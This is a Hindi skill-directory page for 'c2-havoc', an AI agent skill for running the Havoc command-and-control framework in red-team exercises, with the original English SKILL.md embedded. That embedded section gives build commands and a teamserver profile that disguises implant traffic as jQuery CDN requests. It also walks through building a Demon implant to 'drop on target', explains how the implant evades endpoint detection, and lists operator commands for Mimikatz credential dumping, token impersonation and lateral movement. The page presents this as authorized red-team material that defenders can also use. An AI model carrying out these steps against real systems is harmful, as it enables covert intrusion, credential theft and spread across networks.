मुख्य सामग्री पर जाएँ
Skillpedia
सिक्योरिटी6.5k · #14131

c2-havoc

यह क्या करती है

यह गाइड एक ओपन-सोर्स कमांड फ़्रेमवर्क के बारे में है जो अधिकृत रेड-टीम कार्य में इस्तेमाल होता है। यह उन रेड टीमों के लिए है जिन्हें इसे सेट करना है और उन बचाव करने वालों के लिए है जो इसका ट्रैफ़िक पहचानना चाहते हैं।

कब इस्तेमाल करें

  • ✓जब अधिकृत रेड-टीम अभ्यास में Havoc इस्तेमाल हो और उसका सेटअप समझना हो।
  • ✓जब बचाव करने वाली टीम जानना चाहे कि Havoc की प्रोफ़ाइल नेटवर्क ट्रैफ़िक को कैसे बदलती हैं।
  • ✓जब टीम अधिकृत अभ्यास के लिए ओपन-सोर्स फ़्रेमवर्क की तुलना कर रही हो।

Skill का लिंक

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2/havoc/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2/havoc/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“हम एक अधिकृत अभ्यास के लिए कमांड फ़्रेमवर्क की तुलना कर रहे हैं। क्या आप समझा सकते हैं कि Havoc कैसे सेट होता है और उसका ट्रैफ़िक कैसा दिखता है?”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

एजेंट teamserver, क्लाइंट और प्रोफ़ाइल सेटिंग समझाता है, और सुझाता है कि अभ्यास के दौरान निगरानी में क्या खोजना चाहिए।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

Havoc C2 Operator Skill

Havoc (C5pider) is an open-source, modern C2 framework released 2023. The Demon agent ships with hardened OPSEC defaults (indirect syscalls, sleep obfuscation, no static strings) that make it harder to detect than older OSS frameworks.

Setup

# Build from source (Linux)
git clone https://github.com/HavocFramework/Havoc
cd Havoc
make ts-build
make client-build
make server-build

# Or run via Docker
docker compose up -d

Architecture

   ┌────────────┐       ┌─────────────┐       ┌──────────┐
   │ Operator   │ <───> │ Teamserver  │ <───> │ Demon    │
   │ (Client)   │  TS   │ (Go + gRPC) │  HTTP │ (Implant)│
   └────────────┘       └─────────────┘       └──────────┘
  • Teamserver: Listens on operator port (40056 default) for clients; HTTP listener for demons.
  • Client: Qt-based desktop UI (Material Dark).
  • Demon: Windows x86_64/x86 implant in C with embedded sleep obfuscation + indirect syscalls.

Configure a profile

Havoc uses a profiles.yaotl HCL-like config. Example for a low-OPSEC HTTP listener:

Teamserver {
  Host = "0.0.0.0"
  Port = 40056
  Build {
    Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
    Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
    Nasm = "/usr/bin/nasm"
  }
}

Operators {
  user "op-alice" { Password = "strongpassword" }
}

Listeners {
  Http {
    Name      = "primary-http"
    Hosts     = ["op-server.com"]
    HostBind  = "0.0.0.0"
    PortBind  = 443
    PortConn  = 443
    Secure    = true
    HostRotation = "round-robin"
    Uris      = ["/jquery-3.3.1.min.js", "/jquery-3.3.2.min.js"]   # blend with CDN traffic
    Headers   = ["X-Forwarded-For: 1.2.3.4"]
    UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
  }
}

Then ./havoc server --profile profiles.yaotl -v.

Build a Demon

In the client UI:

  1. Attack → Payload → Demon
  2. Listener: select your HTTP listener
  3. Arch: x64 / x86
  4. Format: Windows Exe / Windows DLL / Shellcode
  5. Sleep Technique: Ekko (queue user APC ROP chain) / Zilean (timer-based) / FOLIAGE (ROP-based)
  6. Indirect Syscalls: Enable (resolves syscalls at runtime, bypasses static SSN hooks)
  7. Save → drop on target
# CLI build (haven't found stable CLI build API as of 2024; use the Qt client for now)

What makes Havoc's OPSEC strong

Sleep obfuscation (3 options)

  • Ekko: queues a user APC that ROPs through SystemFunction032/033 to RC4-encrypt the .text section, then sleeps, then decrypts.
  • Zilean: timer-based variant.
  • FOLIAGE: pure ROP chain, no Win32 timer dependency.

Result: while Demon sleeps, its code in memory is encrypted → memory scanners (Defender, Elastic, MDE) can't sig-match.

Indirect syscalls

Most EDRs hook NtAllocateVirtualMemory etc. in ntdll. Direct-syscall implants (older Cobalt Strike) bypass this but get detected by syscall-from-non-ntdll heuristics.

Havoc's indirect syscalls: resolve the syscall stub address at runtime, jump TO that address (so the syscall appears to come from ntdll), then return.

No static strings

All strings (Win32 API names, C2 URI paths, command names) are hashed and resolved at runtime via DJB2/FNV1A. strings demon.exe | grep -i shell returns nothing.

Module stomping

Demon module can be hidden by overwriting an existing legitimate module (mscorlib.dll, clr.dll).

Common commands

> shell whoami /all
> proc list
> proc kill <pid>
> token impersonate <pid>
> dotnet inline-execute <SharpHound.exe> -c All
> mimi !sekurlsa::logonpasswords          # built-in Mimikatz wrap
> spawnas <user> <pass> <listener>         # spawn new demon as different user
> jump <psexec64|wmi|smb_lateral> <host>   # lateral movement

Comparison: Havoc vs Sliver vs Mythic vs Cobalt Strike

Havoc Sliver Mythic Cobalt Strike
Sleep obfuscation Built-in (Ekko/Zilean/FOLIAGE) None — needs BOF Per-agent Built-in (Sleep Mask)
Indirect syscalls Yes, opt-in No (only direct) Per-agent Yes (via patches)
OPSEC defaults Strong Fair Per-agent Excellent
Modern UI Yes (Qt MaterialUI) Web + CLI Web Heavy Java
Cross-platform implant Windows only (Demon) Yes (Sliver) Per-agent (Poseidon=macOS/Linux) Yes (Beacon)
License GPL OSS GPL OSS BSD OSS Commerci
अक्सर पूछे जाने वाले सवाल

Havoc क्या है?

यह एक ओपन-सोर्स कमांड फ़्रेमवर्क है, जिसमें एक ऑपरेटर क्लाइंट और एक teamserver होता है।

प्रोफ़ाइल क्या हैं?

ये कॉन्फ़िगरेशन फ़ाइलें हैं जो तय करती हैं कि फ़्रेमवर्क कैसे संवाद करे।

यह किसके लिए है?

अधिकृत रेड टीमों और उनकी निगरानी करने वाले बचाव करने वालों के लिए।

जानकारी

लेखक का मूल विवरण

Havoc C2 framework (C5pider/Havoc) — modern Sliver/CS alternative, Demon agent with indirect syscalls, sleep obfuscation (Ekko/Zilean/FOLIAGE), Donut PIC loader integration, profile-driven HTTP comms, MaterialUI web client. Best when you need modern OPSEC without Cobalt Strike cost.

repo: BitterSecurity/Decepticon

लोकप्रियता

GitHub स्टार
6.5k
रैंकिंग में स्थान
#14131
लाइसेंस
Apache-2.0
अपडेट की गई
1/11/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

detector-overview

6.5k

यह आपके एजेंट को स्कैनर से चिह्नित कोड पढ़ने और तय करने में मदद करती है कि कौन सी जगहें असली सुरक्षा बग हैं और कौन सी गलत चेतावनी।

कोडिंगसिक्योरिटी

exploiter-overview

6.5k

यह आपके एजेंट को कई पक्की सुरक्षा कमज़ोरियों को एक परीक्षण श्रृंखला में जोड़ने और जाँचने में मदद करती है कि वह श्रृंखला कितनी दूर तक पहुँच सकती है।

कोडिंगसिक्योरिटी

llm-redteam-overview

6.5k

यह आपके एजेंट को परीक्षण के लिए सही AI रेड-टीम गाइड खोजने में मदद करती है, प्रॉम्प्ट इंजेक्शन से लेकर मॉडल के दुरुपयोग तक 15 रणनीति समूहों में।

कोडिंगसिक्योरिटी

aatmf-t01-prompt-injection

6.5k

समझाती है कि प्रॉम्प्ट इंजेक्शन क्या है, जिसमें छिपे निर्देश AI सिस्टम के नियम बदलने की कोशिश करते हैं, ताकि सुरक्षा परीक्षक उसकी जाँच कर सकें।

कोडिंगसिक्योरिटी

मिलती-जुलती skills